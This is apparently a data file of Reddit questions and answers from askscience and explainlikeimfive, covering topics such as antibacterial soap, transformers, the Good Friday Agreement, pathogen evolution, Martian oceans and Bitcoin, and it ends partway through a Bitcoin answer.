{"q_id": "djkq7j", "title": "With millions of people using antibacterial hand wash and the rinse being washed in to our waterways. What effect is it having on our natural environment and living organisms?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/djkq7j/with_millions_of_people_using_antibacterial_hand/", "answers": {"a_id": ["f4anvgg", "f4g3lm2"], "score": [6, 3], "text": ["Hand washing has long been shown to be an effective measure in preventing the spread of pathogenic bacteria. This is an established fact.\n\nSoaps that are labeled \"antibacterial\" typically contain a compound called Triclosan, sometimes abbreviated TCS. This has the long and convoluted technical name of 5-Chloro-2-(2,4-dichlorophenoxy)phenol.\n\nThis is rightly an antiseptic or biocide like alcohol, bleach, or quaternary ammonium compounds. The exact method of action of TCS is not known.\n\nHowever TCS has been shown to be only slightly more effective relative to handwashing alone with plain soap. Moreover it may be considered an environmental pollutant as it does not degrade quickly, so it's become controversial. \n\nWhile it was initially a marketing fad, many detergent companies have stopped using it due to the expense and concerns of customers.", "Personally I avoid that stuff. Your skin is its own microbiome and presumably it's evolved to handle bacteria in the environment. Soap only messes with that. Anecdotally there's pretty good indications that you don't have issues with odor neither after you stop using soap and your natural microbiome is restored. I still shower regularly but I haven't used soap or shampoo in years and have no issues at all with body odour. Or any other aspect of personal hygiene by the way \ud83d\ude01 Water and friction is all you need. For example I do massage my scalp and brush my hair when I shower. The exception is I do use toothpaste but a natural kind. Also I live in a dry climate so rarely sweat. When I visit warmer tropical climates I do end up using a bit of soap or light soap substitute like QV."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9ra421", "title": "why does the primary coil of a transformer not burn up when connected to a voltage? isn't it just a short circuit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ra421/eli5_why_does_the_primary_coil_of_a_transformer/", "answers": {"a_id": ["e8f98at", "e8f9f5h", "e8f9tkh", "e8fhf3j"], "score": [3, 10, 3, 2], "text": ["It would be a short circuit (or just a low resistor, close enough) under direct current, but that is not where they are used. Changing current creates a changing magnetic field, which in turn creates a voltage within itself and within the other coil.", "It is a short circuit, as for very low resistance, but in an AC circuit you also need to take into consideration inductive reactance, which you can think of as an additional resistance that changes with the frequency of an AC signal, increasing with higher frequency\n\n\nIt exists because inductors resist sudden changes in current, while AC is constantly changing current", "A coils is a inductor and  when you apply a voltage over it you create a magnetic field. The magnetic field store energy so is take  some time to create it.  \n\nIf you connect a coil to a DC source it take some time to create the field. When it is fully charge the inductor is like a short circuit from a DC perspective. \n\n\nThe power grid is not DC but AC so you have a voltage that change from positive to negative in a sine wave. If you connect a large enough inductor it will newer be charged full and is would therefor do not look as a short circuit form a DC perspective.   So you will create a magnetic field in one direction and the when the voltage drops you will create a magnetic field in that other direction. There will never be a situation when i look lik a short. \n\nTransformers are only used in AC because you need a changing magnetic field to induce a voltage on the secondary coil. Inductors can be even for DC for example to limit the initial current when you turn the power on.", "This is due to a phenomenon called inductance.\n\nA current in a wire creates a magnetic field. A changing magnetic field creates a voltage in any nearby wires.\n\nSo, when you suddenly apply a voltage (let's assume its a DC voltage fir now) to a wire, a current starts to flow, and that current creates a magnetic field. However, the changing magnetic field creates a voltage and that voltage is cancels out some of the voltage in your circuit. \n\nSo, what actually happens when you switch on is that instead of the current instantly switching on at the expected current (based on resistance) the current gradually builds up eventually plateauing at the level determined by resistance. \n\nIf you just have a wire in a normal circuit, inductance is so small it is negligible; the current plateaus so fast, you can assume it is instant. \n\nHowever, start coiling the wire to concentrate the magnetic field, or add iron to magnify the field, and the inductance becomes a thing which becomes important to circuit behaviour. \n\nInductance resists *change of current*, similar to how resistance resists current. \n\nIn an AC circuit, voltage is constantly changing and therefore current is constantly trying to change. With inductance in a circuit, that change is resisted, so in an AC circuit current may not get a chance to build up before it starts to reverse. \n\nA transformer has a very high inductance, so the AC current is strongly resisted, and only a low current flows. \n\nSo, what happens when you take current from the secondary? The inductance comes the magnetic field. When you draw current ftom the secondary, the current in the secondary flows in the opposite direction to the primary. So, the magnetic field in the secondary partially cancels out the magnetic field produced by the primary. There is less change of magnetic field, so less inductance felt by the primary and more current can flow.\n\nIn other words, when the secondary is open circuit, primary current is severely limited due to high inductance. As more secondary current is taken, that inductance is cancelled out and more primary current can flow. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "czokjr", "title": "the good friday agreement?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/czokjr/eli5_the_good_friday_agreement/", "answers": {"a_id": ["eyznbum", "ez3bopd"], "score": [6, 3], "text": ["The Good Friday Agreement was the output of the Northern Ireland peace process that ended The Troubles, a decade long war between the UK and the Irish Republican Army.\n\nIt's in the news because it agreed that Northern Ireland would remain part of the UK and that there would be no customs border between Northern Ireland and Ireland (the rest of the island is its own independent country).  \n\nThis was not a problem because both Ireland (the country) and the UK were part of the EU and the EU abolished all customs borders between member nations.  If the UK leaves the EU it seems the GFA must be violated.  Either Northern Ireland has a customs border with the rest of the UK (the so-called \"backstop\") meaning it's not really the same country, or it has one with Ireland (unless somehow Ireland is expelled from the EU).", "The major changes brought by the Good Friday Agreement were:\n\n1. The opening of the border between Northern Ireland and the Republic of Ireland, allowing totally free movement of people and goods between Northern Ireland and Ireland. \n\n2. A *de facto* peace treaty or ceasefire between the IRA paramilitary on one side, and the British government and unionist paramilitaries on the other side. Alongside this, many (but not all) of the paramilitaries agreed to give up and dismantle a lot of their weapons.\n\n3. The creation of a few cross-border shared institutions between the Republic of Ireland and Northern Ireland. \n\n4. The Republic of Ireland would officially recognize Northern Ireland as being a legitimate part of the UK, rather than occupied territory that was really part of the Republic.\n\n5. Britain agreed that Northern Ireland could have a referendum whenever they wish to join the Republic of Ireland, and they would respect the results of such a referendum if one were to ever occur. \n\n6. The creation of a Northern Ireland Assembly, a parliament/legislature that would give Northern Ireland some autonomy to manage their own affairs instead of having all major decisions being made in London. An important element of this Assembly is that some of its decisions must have majority support from both unionists and nationalists, rather than just simple majority support. This protects the minority from a tyranny-of-the-majority situation. \n\n7. The early release of hundreds of prisoners convicted of violent crimes committed as part of unionist or nationalist paramilitary activities during the Troubles. \n\n[I numbered these in essentially random order, don't read too much into the numbers.]"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "b2yz4m", "title": "how come safari jeep tourists never get preyed on?", "selftext": "You know those videos of safari Jeeps that take tourist to see lion or hyena hunts?  How come the predators never just jump in the open Jeep to catch the easiest prey?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b2yz4m/eli5_how_come_safari_jeep_tourists_never_get/", "answers": {"a_id": ["eivwzi1", "eivzeek", "eivzyrs"], "score": [12, 3, 10], "text": ["Predators are gauging the risk of an engagement versus the reward of a prey. What's the point of getting some food if you break a leg in the process? A jeep is large and unusual, and a predator may decide it's not worth charging at a strange object with multiple creatures on it and instead keep hunting a known prey animal. \n\nMost predators will avoid humans, especially in groups unless they are desperate.", " > the easiest prey?\n\nThe deadliest predator in the history of Earth is not easy prey*, even less so in groups and when armed with more than a ton of explosion-powered metal death machine. \n\nEven if they managed to kill one of the apex predators that have driven hundreds of species to extinction, the rest of its pack would hunt them - for hours without pause - to kill them, their young, their pack, and retrieve the body not for eating but to deny them food. \n\nThe hyenas don't need to be conscious of this. Tens of thousands of years of evolutionary pressure has left it encoded in their genome. The most extreme examples of this is how canines will either instinctively put themselves at risk to save a human, even if they've spent their entire lives as strays, or instinctively avoid interacting with humans if at all possible. \n\n*) unless you're a bear. Don't fuck with bears. ", "1. Humans aren't typically seen as prey by these animals.  If they ever do get a taste for human they are killed.\n\n2. A \"truck human\" is a very big creature.   Just like you can make yourself look bigger and more intimidating by raising your arms and puffing your chest, you can also do this by putting yourself in a 4000 pound metal object.\n\n3. Many on common safaris will have learned not to mess with humans.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "19vhmc", "title": "why can't i pass my hand through solid matter?", "selftext": "Physics question, I was watching a Richard Feynman interview when he brought it up. Can someone give me a detailed answer suitable for a 5 year old?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/19vhmc/eli5_why_cant_i_pass_my_hand_through_solid_matter/", "answers": {"a_id": ["c8ro2q6", "c8ro4m3", "c8rrdxp"], "score": [8, 3, 2], "text": ["You're made of atoms. So is your desk and your wall and your door and your floor and everything solid. The vast majority of those atoms (exceptions are plasmas and some radiation) are surrounded by a \"cloud\" of electrons.\n\nElectrons have a negative charge, and they repel other electrons. Get a whole shit ton of electrons together (like in a hand and a desk) and you have the \"solid\" effect of matter. As the atoms form molecules and the molecules form things like a piece of wood or a hand, they form a single \"solid\" object. \n\nWhen you push your hand down on your desk, your hand *really* isn't directly touching the desk, it's the \"likes repel\" counterpart to \"opposites attract\" that makes the wood of the desk \"push against\" the skin of your hand.", "Your hands and the piece of solid matter you are trying to pass your hands through are made of tiny particles called atoms. These atoms are composed of three types of even tinier particles called protons, neutrons, and electrons. These tinier particles have something known as an electrical charge. There are three types of electrical charge, positive, negative, and neutral; neutral means that the particle has no net charge. Positively charged protons attract negatively charged electrons and vice-versa; neither attracts neutrons. Protons repel other protons and electrons repel other electrons. The outer shell of all atoms is made of negatively charged electrons, and the outer shell of electrons in your hand and the outer shell of electrons in the object repel each other. So hand either stops as soon as hit the object, bounces off the object or, or breaks the object. But does not pass through the object.", "Just to blow your mind. If what I've heard is correct, there is an extremely small chance that if all the atoms in your hand line up just right with atoms in a solid piece of something, your hand will pass through it. But that's almost impossible. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "jqqr2", "title": "Is there going to be a neverending arms race between humans and pathogens?", "selftext": "If we look a hundred, or a thousand years into the future, will it just be an endless story of humans developing more potent antibiotic and antiviral treatments, and pathogens evolving to become nastier and nastier? I'm imagining some dystopia where the world is completely lethal to humans without massive artificial intervention at birth. Will we ever reach a plateau? Will we need nanotech?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jqqr2/is_there_going_to_be_a_neverending_arms_race/", "answers": {"a_id": ["c2ed9d9", "c2eefcy", "c2ed9d9", "c2eefcy"], "score": [23, 3, 23, 3], "text": ["It is impossible to predict the state of epidemiology in hundreds or thousands of years to come. It is very hard to predict trends for the next few years, let alone further. The simple answer is that an evolutionary arms race will continue between humans and pathogens, as it always has. Humans and pathogens are (broadly speaking) in a Nash equilibrium, where competition is the only viable strategy. It is impossible to give a more definitive or general answer; although I would suspect that humanity is more likely to destroy itself before a disease does.\n\nThere are some interesting points to consider though. While the rate of development of novel antibiotics is slowing, and rates of resistance are rising, we cannot preclude some other breakthrough, of a similar magnitude to the original discovery of antibiotics, which will give us another few decades of improving public health. This breakthrough could come in many forms: engineered organisms from better understandings of genomics, pharmacological solutions from advances in biochemistry, nanotechnological solutions, or there is scope that if we have a breakthrough in understanding how protein structures work, we can engineer novel and highly specific organic molecules which will help us fight pathogens.\n\nFrom an evolutionary perspective, there seem to be limits on how much resistance an organism can develop, without becoming disastrously unfit in all environments where the drug it is resistant against is absent. Mutations which lower the fitness cost of resistance, or modulate it in response to the environment are rarer than simple resistance mutations, and there may be an upper limit on what an organism can bear. It is interesting that in the realm of bacteria, where many antibiotics have been used widely and without careful control for decades, most bacterial species show only partial resistance, or none at all. So we may have a saving grace in evolutionary constraint.\n\nThere are several imminent developments in science and medicine which should also help mitigate this problem. Better and faster sequencing methods will help us identify drug resistance in an infected patient quicker and ensure that they get an appropriate treatment. Improvements in epidemiological models will help us understand the spread of disease better and will enable us to develop better isolation, vaccination and control measures which will pre-empt epidemics.\n\nSorry for not offering the most coherent answer. I could (I am in one sense) write a thesis on this topic; also I haven't had my supper yet, so my mind is a bit wooly. If you have any more specific questions I can probably give a better answer.\n\nTL:DR - Yes, pathogens will continue to get worse, and we will have to adapt. On the plus side though, there are many avenues of advancement and research still open to us, so we are a long way from an apocalypse.\n", "One problem with winning the arms race against pathogens is that even if we are able to eradicate one species of pathogenic bacteria, there are always more that could take its place.  On a short time scale, opportunistic infections and new zoonoses that come from the environment or other animals and now and would always be present, and it may be hard to plan the best way to treat previously unidentified infections.  If we are looking at a longer time scale (tens or hundreds of thousands of years), new sources of infection may not necessarily be bacteria that are known pathogens.  A previously environmental or commensal organism may acquire some new DNA or accumulate mutations such that it finds it advantageous to adopt a pathogenic niche.  This has happened many times before and can be seen in examples such as Shigella, a close and pathogenic relative of E. coli which in most forms is a benign commensal organism among our gut microbiota (though it too can be pathogenic).  Interestingly, pathogens that have an isolated niche such as inside a host cell seem to have evolved in the fairly recent past.  Additionally, as their genomes tend to undergo sometimes drastic reduction, a classic example being that of M. leprae, it prevents these organisms from adapting to changes in their environment as easily as their environmental relatives.  Because of this, and not necessarily because of direct interventions to target them, these isolated pathogens may already be less successful in the very long term ([source](_URL_0_)).\n\nSo you might think that to avoid this we could eliminate all bacteria just to be safe.  At the moment, we may have the technology to wipe out a good deal of our own microbiota, which could be a source for new pathogens, but this too could cause health problems.  We have coevolved with these organisms  to rely on them to some extent for digestion and the development of our immune system ([source](_URL_1_).  So, that would not currently be a viable solution.  \n\nTo address your last comment\n\n > I'm imagining some dystopia where the world is completely lethal to humans without massive artificial intervention at birth. \n\nI think it would be unlikely that anything will become that widespread, lethal, and acute.  You have to remember that pathogens, at least human pathogens, need us to survive and spread.  Of course they do not have any sort of foresight, but imagine two strains of a pathogen that is spread by coughing.  One is mild causing you to cough and maybe feel a bit under the weather, but you can still go to work, school, shopping, etc.  The second strain makes you feel awful, and keeps you in bed throughout the infection.  As you might guess, the pathogen that makes you less sick will most likely be spread to more people and continue to reproduce long after you get better, making it more fit than the other which will die off in your home.  This is an over simplification of things, but as you can see evolving to be more virulent in such a way that could lead to killing off humans doesn't always make the pathogen more fit.  ([source](_URL_2_))  Additionally, evolving antibiotic resistance can reduce the fitness of a pathogen as well.  One example I know of occurs with isoniazid resistance in Mycobacterium tuberculosis.  The protein necessary for processing isoniazid in the cell can mutate making it harmless, however it is also responsible for responding to host stress putting the resistant bacterium at a disadvantage if isoniazid is not present.  The resistant strain is also less virulent than susceptible strains.  So to sum it up, all pathogens aren't all evolving to become nastier and nastier with no end in sight, but just to survive the treatments we throw at them and spread despite the barriers were put in place.\n\nA lot of this simplified to keep it from going on forever and I could go into more detail if you have questions, but I think these are some good things to consider when trying to understand where we are when it comes to dealing with pathogens.", "It is impossible to predict the state of epidemiology in hundreds or thousands of years to come. It is very hard to predict trends for the next few years, let alone further. The simple answer is that an evolutionary arms race will continue between humans and pathogens, as it always has. Humans and pathogens are (broadly speaking) in a Nash equilibrium, where competition is the only viable strategy. It is impossible to give a more definitive or general answer; although I would suspect that humanity is more likely to destroy itself before a disease does.\n\nThere are some interesting points to consider though. While the rate of development of novel antibiotics is slowing, and rates of resistance are rising, we cannot preclude some other breakthrough, of a similar magnitude to the original discovery of antibiotics, which will give us another few decades of improving public health. This breakthrough could come in many forms: engineered organisms from better understandings of genomics, pharmacological solutions from advances in biochemistry, nanotechnological solutions, or there is scope that if we have a breakthrough in understanding how protein structures work, we can engineer novel and highly specific organic molecules which will help us fight pathogens.\n\nFrom an evolutionary perspective, there seem to be limits on how much resistance an organism can develop, without becoming disastrously unfit in all environments where the drug it is resistant against is absent. Mutations which lower the fitness cost of resistance, or modulate it in response to the environment are rarer than simple resistance mutations, and there may be an upper limit on what an organism can bear. It is interesting that in the realm of bacteria, where many antibiotics have been used widely and without careful control for decades, most bacterial species show only partial resistance, or none at all. So we may have a saving grace in evolutionary constraint.\n\nThere are several imminent developments in science and medicine which should also help mitigate this problem. Better and faster sequencing methods will help us identify drug resistance in an infected patient quicker and ensure that they get an appropriate treatment. Improvements in epidemiological models will help us understand the spread of disease better and will enable us to develop better isolation, vaccination and control measures which will pre-empt epidemics.\n\nSorry for not offering the most coherent answer. I could (I am in one sense) write a thesis on this topic; also I haven't had my supper yet, so my mind is a bit wooly. If you have any more specific questions I can probably give a better answer.\n\nTL:DR - Yes, pathogens will continue to get worse, and we will have to adapt. On the plus side though, there are many avenues of advancement and research still open to us, so we are a long way from an apocalypse.\n", "One problem with winning the arms race against pathogens is that even if we are able to eradicate one species of pathogenic bacteria, there are always more that could take its place.  On a short time scale, opportunistic infections and new zoonoses that come from the environment or other animals and now and would always be present, and it may be hard to plan the best way to treat previously unidentified infections.  If we are looking at a longer time scale (tens or hundreds of thousands of years), new sources of infection may not necessarily be bacteria that are known pathogens.  A previously environmental or commensal organism may acquire some new DNA or accumulate mutations such that it finds it advantageous to adopt a pathogenic niche.  This has happened many times before and can be seen in examples such as Shigella, a close and pathogenic relative of E. coli which in most forms is a benign commensal organism among our gut microbiota (though it too can be pathogenic).  Interestingly, pathogens that have an isolated niche such as inside a host cell seem to have evolved in the fairly recent past.  Additionally, as their genomes tend to undergo sometimes drastic reduction, a classic example being that of M. leprae, it prevents these organisms from adapting to changes in their environment as easily as their environmental relatives.  Because of this, and not necessarily because of direct interventions to target them, these isolated pathogens may already be less successful in the very long term ([source](_URL_0_)).\n\nSo you might think that to avoid this we could eliminate all bacteria just to be safe.  At the moment, we may have the technology to wipe out a good deal of our own microbiota, which could be a source for new pathogens, but this too could cause health problems.  We have coevolved with these organisms  to rely on them to some extent for digestion and the development of our immune system ([source](_URL_1_).  So, that would not currently be a viable solution.  \n\nTo address your last comment\n\n > I'm imagining some dystopia where the world is completely lethal to humans without massive artificial intervention at birth. \n\nI think it would be unlikely that anything will become that widespread, lethal, and acute.  You have to remember that pathogens, at least human pathogens, need us to survive and spread.  Of course they do not have any sort of foresight, but imagine two strains of a pathogen that is spread by coughing.  One is mild causing you to cough and maybe feel a bit under the weather, but you can still go to work, school, shopping, etc.  The second strain makes you feel awful, and keeps you in bed throughout the infection.  As you might guess, the pathogen that makes you less sick will most likely be spread to more people and continue to reproduce long after you get better, making it more fit than the other which will die off in your home.  This is an over simplification of things, but as you can see evolving to be more virulent in such a way that could lead to killing off humans doesn't always make the pathogen more fit.  ([source](_URL_2_))  Additionally, evolving antibiotic resistance can reduce the fitness of a pathogen as well.  One example I know of occurs with isoniazid resistance in Mycobacterium tuberculosis.  The protein necessary for processing isoniazid in the cell can mutate making it harmless, however it is also responsible for responding to host stress putting the resistant bacterium at a disadvantage if isoniazid is not present.  The resistant strain is also less virulent than susceptible strains.  So to sum it up, all pathogens aren't all evolving to become nastier and nastier with no end in sight, but just to survive the treatments we throw at them and spread despite the barriers were put in place.\n\nA lot of this simplified to keep it from going on forever and I could go into more detail if you have questions, but I think these are some good things to consider when trying to understand where we are when it comes to dealing with pathogens."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.frontiersin.org/evolutionary_and_genomic_microbiology/10.3389/fmicb.2010.00151/full", "http://en.wikipedia.org/wiki/Gut_flora#Functions", "http://en.wikipedia.org/wiki/Optimal_virulence"], [], ["http://www.frontiersin.org/evolutionary_and_genomic_microbiology/10.3389/fmicb.2010.00151/full", "http://en.wikipedia.org/wiki/Gut_flora#Functions", "http://en.wikipedia.org/wiki/Optimal_virulence"]]}
{"q_id": "4ln17q", "title": "if mars has lower gravity than earth, how would a martian ocean behave in forms of density and liquidity?", "selftext": "If Mars one day is to become a habitable planet and the long process of terraforming the surface is about to be complete. And the now melting water ice, embedded in the martian soil forms big oceans and lakes that cover huge parts of the marsian surface. \n\nWhat characteristics will that water have in such a low gravity environment? Will it even stick to the body (make wet), like water does on earth, or will it be too runny? Will the martians require special kinds of ships? Will swimming be save, or even possible? What about waves?\n\nedit: presumable language improvement\n\nedit*: well, thank you for your answers! I'll look into your links. I'm know now water will still be quite wet and swimming will be awesome! I hope this is going to happen one day!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ln17q/eli5_if_mars_has_lower_gravity_than_earth_how/", "answers": {"a_id": ["d3onr1q", "d3oo3nq", "d3owmux"], "score": [28, 5, 2], "text": ["I think you may be confusing if weight is a property of water or of gravity.  \n\nFirst, I'll point out that most things can be thought of as a fluid. Most relevant to your question I'll point out gasses and liquids are fluid and can pour over and through each other. [Here, for example, is a video of CO2 being poured out of a bottle](_URL_0_).  \n\nNow I'll answer each question individually.  \n\nWater will have all the same qualities in the lower gravity that it would in Earth's \"normal gravity.\" It will still be wet, sticky, and more dense than the gasses surrounding it. Because it is more dense, it will settle along the lowest surface it can, just as it does on Earth, forming lakes and oceans and rivers. However, gravity will not pull down as hard, so the sticky-factor will let it hold still on steeper slopes. If you tried to shake it off your hand, though, it will still come off just as easily as on Earth.  [Here is a video of a man in space wringing out a wet towel. You can see that the water is still sticky, but there is no gravity to pull it away from the cloth.](_URL_1_) The water is the same, but the force normally acting on it is not there. (That whole video may answer your other questions as well, but I'll continue.\n\nMartian boats will not need to be any different than Earth's. Floating is determined by density, not weight. As long as the ship as a whole is less dense than the water, it will float just as easily. Swimming is the same.  \n\nThe biggest difference in Martian water will be that gravity won't be pulling it down as strongly. This means that waves will be bigger and water pressure won't increase at the same pace as on earth when you go deeper. You'd also see water being able to stick to things more, but not because the water has changed in any way; rather because gravity won't be strong enough to pull it down as hard there.", "First, water making us wet has nothing to do with gravity, and everything to do with how water sticks to itself. Think surface tension, water running down windows, that sort of thing. The water would be wet and form familiar droplets, all of that. It will not be extra runny. We should remember that the molecules composing water, a bunch of H2O molecules, are the same anywhere in the universe. \n\nSecond, I'm going to assume we're in some sort of dome (or \"terraformed\") with regular air pressure we're used to, with the usual air. Basically, I assume that the only difference in this new ocean you ask about is that the gravity is different. \n\nShips will act much the same. This is because a ship stays up by displacing an amount of water that has a weight equal to the weight of the ship. () So here the ship requires less force to stay up, but moving aside the water pushes up less, and the two balance each other out perfectly.  \n\nSwimming would be [awesome.](_URL_0_)\n\nI do not know how waves would act on mars. Perhaps without the influence of a moon as big as ours we would not see as many waves. The \"terraforming\" that has happened in our fictitious mars makes predicting weather difficult. As we are now, mars is too cold to support an ocean, so it's difficult to say.", "Roughly three things would be different.\n\n* Lower air pressure due to gravity would change the boiling point, even if Mars was terraformed to have a significant atmosphere.\n* Lower pressure at depths, so submarines would be more viable.\n* Gravity waves would have a different period. This is because gravity is the 'restoring' force in a wave system for larger waves.\n\n_URL_0_ (Types of wind waves)\n\nThe speed of a wave(C) is equal to square root of ( g L / 2 pi ) where g is gravity and L is the length of the wave. Mars has a surface gravity of 3.711 m/s^2 or about a third of Earth's gravity, so the waves would move about three times slower."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://youtu.be/rPfZg_xh72A?t=56s", "https://youtu.be/l0D20Pp0WAc?t=27s"], ["https://what-if.xkcd.com/124/"], ["https://en.wikipedia.org/wiki/Ocean_surface_wave"]]}
{"q_id": "1rls76", "title": "official eli5 bitcoin thread - round ii", "selftext": "[Recent news](_URL_2_) of Bitcoin htting $1000 has caused a surge in the number of posts requesting explanations of this crypto-currency and related topics.\n\nPlease request all Bitcoin (BTC) and related explanations below in the comments - that way this thread will serve as an archive for user to look up in the future.\n\n**Essential reading list:**\n\n1. [Official ELI5 Bitcoin Thread](_URL_3_) - The original\n\n2. [Bitcoin Mining](_URL_4_)\n\n3. [Bitcoin Wiki](_URL_1_) - will answer 99.9% of your querys\n\n*Remember there's a search bar for [questions that have been asked before](_URL_0_)*", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1rls76/official_eli5_bitcoin_thread_round_ii/", "answers": {"a_id": ["ce3j8n3", "cdoi55o", "cdoiylu", "cdojron", "cdol23o", "cdol91x", "cdolbw8", "cdolosx", "cdolpme", "cdomgjj", "cdomhky", "cdoms2y", "cdoo037", "cdoo1js", "cdoooq8", "cdopf5k", "cdopj2n", "cdoq4zq", "cdoqvu3", "cdoqxvl", "cdor8mv", "cdorad0", "cdoriq5", "cdorji7", "cdorjm4", "cdorki5", "cdorqk7", "cdorwf8", "cdot0sx", "cdottkb", "cdov3ut", "cdow8yy", "cdox2yn", "cdoxrhp", "cdoy1u0", "cdoz1du", "cdozqf1", "cdozzb0", "cdp0d6l", "cdp0jdi", "cdqbthz", "cejx1j2"], "score": [3, 24, 18, 4, 8, 10, 23, 555, 7, 2, 60, 6, 2, 2, 3, 5, 4, 7, 2, 8, 3, 5, 2, 6, 2, 3, 3, 2, 5, 2, 3, 6, 3, 2, 2, 3, 2, 2, 2, 4, 2, 3], "text": ["Hello. Yet another ELI5 here (created new account just to post this):\n\nImagine a perfect currency \u2014 a type of coin that is impossible to copy or forge, has a very well controlled supply and can be neatly split into as many denominations as you want. It comes with a special wallet that automatically verifies the authenticity of any coin you put in it and spits it out immediately if it is fake.\n\nIt is also very democratic \u2014 rather than a government putting newly printed money into circulation by spending it, everyone periodically gets a chance at winning new coins through a lottery method. The amount of new coins produced each year depends on how many people participate in the lottery. So no government or central bank arbitrarily print money and cause inflation.\n\nEach coin has a unique fingerprint \u2014 a number. This fingerprint can be used to pay these coins remotely. All the world\u2019s wallets are interconnected through a secure network. The wallets too, have unique fingerprint numbers. Using your wallet, you can dial someone else\u2019s wallet number, followed by one of your coin numbers and send the coin to that person.\n\nThis currency is democratic in another way. There is no central organization, person or committee that conducts the lottery. Instead, the wallets continually play the lottery on behalf of their owners. When a wallet wins a certain amount of coin, it is imprinted right inside the wallet. When you send a coin\u2019s fingerprint to someone, your wallet erases the fingerprint from your coin (making it worthless) and the receiver\u2019s wallet imprints the fingerprint on a new coin blank. You cannot circumvent this system to imprint your own coins. Everyone is happy.\n\nImplementation ELI5 continues [here](_URL_0_)", "What is Bitcoin's plan to prevent and avoid inflation? How would they recover if they were to face it? ", "What is causing bitcoin to keep rising in value?\n\nAnd what is the most likely future for it? Will it crash, and what can cause this crash?", "What stops the creator of bitcoin from just selling all his/her bitcoins and becoming incredibly rich and bitcoin losing it's value?", "While it's obvious that there's a speculative bubble going on with Bitcoin, how much of the increase would say say is attributed to people feeling that they need to purchase a whole Bitcoin in order to get in on the action?", "I am still lost! Bitcoins are like computer codes or something? Where do people \"mine\" them is there say a website or something? ", "Why is bitcoin considered anonymous when the ledger is public and all people will need is your wallet id (i.e. do a transaction with you)?", "Hi y'all! former bitcoin miner here (I'll explain what that means in a minute), and I thought I'd answer some of your inevitable questions!\n\nFirst, inflation: /u/Koooooj already gave a pretty good explenation of how bitcoins prevent inflation: they're released in controled amounts that is continually halved, so that there will only ever be 21 million coins in circulation (they will most likely have to increase this number at some point, as bitcoins are inevitably lost, [see the man who threw his hard drive away](_URL_0_)). \"But wait!\", you may be saying, \"how do they distribute the new bitcoins? Do people just randomly get them? Is the distribution of bitcoins someone's job?\" The answer is: sort of. I'll answer this along with \"how are bitcoins secure?\", which is my area of expertise (if you can call it that).\n\n\nAnyway! Yes, how are bitcoins secure? if they only exist digitally, then what is to stop someone from hacking all the bitcoins to steal them, or just shutting the system down? This is an important question. If bitcoins were even *a little bit* insecure, they would have no value. It'd be like asking people to invest in a pile of money that's left open in town square. some background: first off there is no central bitcoin server. let me say that again, **THERE IS NO *CENTRAL* BITCOIN SEVER**. All information about bitcoins is hosted on the various computers that have bitcoin wallets. Now I here you say \"Hold on just a second, lprekon! Doesnt that mean it'd be even **easier** to hack, since the only information i'd have to change is on my computer to say it has more bitcoins?\" Wrong my friend! This is basically how it works: Every bitcoin has it's own really long hexadecimal (base 16, using A-F in place of 10-15, meaning you can have bigger values with less numbers) code, which identifies it. Whenever you make send bitcoins somewhere, a broadcast is sent to **everyone** that says \"this wallet address send these *specific* bitcoins to this wallet address.\" If you've ever tried to set up a bitcoin wallet and downloaded the client, you'll have noticed that before you can do anything, the client starts a really really big download. That download is the ***entire*** ledger of every bitcoin transaction, ever. That's right, ever. It updates every time you open the client. Each computer has a huge ledger detailing who has what bitcoins when, so it knows everything's legit. But the important part is that the ledger is secure and accurate, which might seem impossible without one central server, but that's where the trick comes in!\n\nEvery few hundred transactions are bundled into blocks, which is just a big list of who sent what to who. These blocks are what's sent around as part of the ledger, but they also have one addition, a special number that keeps them secure! Bitcoins entire security is based on the concept of \"hashing\". For those without a computer science background, you can just think of it as a weird thing computers can do with a big block of data to turn it into a really really really long number (i'll explain more in-depth if people are interested). What's unique about hashing is that it's one-way and unpredictable. There's no way (in a good hash) to figure out what the original data was from the *hash code*, and there's no way to predict what the hash code will be, other than going through the hashing process (which is long and arduous). Changing one small number in a data block will COMPLETELY change the hash code. So, what these blocks do, is the hold the hash code of the next block. If someone tries to hack the system and change the info in a block to say they haven't spend bitcoins X, Y, and Z, the new hashcode is completely different from the one held in the previous block, so everyone knows it's a fake. Now, what's to stop someone from just hashing their new block and slipping the new number into the last block? The fact that hashes are very very computationally difficult. So much so, that the creators of bitcoins can't do it themselves, which is where bitcoin miners and the distribution of bitcoins come in.\n\nI won't go into exactly how bitcoin mining works (unless y'all want), but i'll give the overview: bitcoin mining is essentially just renting out the processing power on your computer to hash these blocks so they can be added to the universal ledger. The miners are paid, per block, in brand new bitcoins! There are hundreds of thousands of them, all across the world, lending their processing power to \"mine\" the blocks.\n\n**TL;DR** bitcoins are secure because there will only be a set amount, preventing inflation, and because it's really, *really*, ***really***, ***REALLY*** hard to hack, to the point that it's simply impracticable. You'd be better off hacking your local bank than trying to steal bitcoins\n\n**Edit**: alright, so y'all want to learn how bitcoin mining works, I'll tell you. First let me say that much like your high school science teacher, I lied for the sake of simplicity. I also don't completely know what I'm talking about (heeeyooo!) but I do have a clue. First, the basis of bitcoin mining is hashing. 'Hashing' is just turning a whole bunch of data of any sort into a single (though very large) number. For a hashing algorithm to be \"good\", three things must be true: 1) changes to the final number, or *hash code* should not be predictable. There should be no easier way to compute the final hash code than running the algorithm. 2) one should not be able to deduce the original data 